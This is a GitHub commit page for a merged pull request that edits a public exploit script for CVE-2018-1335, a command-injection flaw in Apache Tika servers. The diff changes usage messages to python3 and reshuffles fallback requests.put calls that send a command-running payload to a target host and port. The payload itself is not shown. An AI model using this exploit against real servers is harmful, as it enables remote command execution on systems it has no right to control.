Skip to content

Commit

Permalink
Merge pull request #13 from bradyjmcl/bradyjmcl-patch-1
Browse files Browse the repository at this point in the history
Update CVE-2018-1335.py
  • Loading branch information
DaveYesland authored May 19, 2024
2 parents 2a72b49 + 61ab102 commit 1b115b5
Showing 1 changed file with 6 additions and 6 deletions.
12 changes: 6 additions & 6 deletions CVE-2018-1335/CVE-2018-1335.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@
import requests

if len(sys.argv) < 4:
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
print("Usage: python3 CVE-2018-1335.py <host> <port> <command>")
print("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe")
else:
host = sys.argv[1]
port = sys.argv[2]
Expand All @@ -36,9 +36,9 @@
except:
try:
requests.put(f"http://{url}", headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python3 CVE-2018-1335.py <host> <port> <command>")
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

0 comments on commit 1b115b5

Please sign in to comment.